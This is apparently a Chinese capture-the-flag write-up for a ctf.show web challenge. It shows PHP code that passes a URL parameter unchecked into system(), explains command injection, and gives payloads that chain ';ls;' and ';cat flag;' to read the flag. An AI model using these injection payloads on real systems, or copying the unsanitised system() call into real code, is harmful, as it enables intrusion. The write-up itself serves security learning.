题目:

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

看得出关键处是==system()==中的内容,此处去了解下

PHP 命令执行漏洞

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。

当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞。

PHP的命令执行漏洞学习 PHP的命令执行漏洞学习_笑花大王的博客-CSDN博客](https://blog.csdn.net/weixin_43818995/article/details/104164684)):(win与linux系统下管道符的功能)

[ctfweb命令执行](CTFshow web入门 (命令执行) - NPFS - 博客园 (cnblogs.com))

system解释:

php函数system详解: 执行外部程序并显示输出资料。 system语法: string system(string command, int [return_var]); system返回值: 字符串 函数种类: 操作系统与环境 system内容说明 本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。

构造payload

有两种方式(linux下url命令传参)

一:

?url=127.0.0.1;cat flag;
该命令直接猜测查看flag文件

二:

?url=ff5cc03e-74f6-4b21-aedd-b7365f36e520;ls;
该命令显示结果为:

flag index.php

继续访问flag文件

?url=ff5cc03e-74f6-4b21-aedd-b7365f36e520;cat flag;

得到flag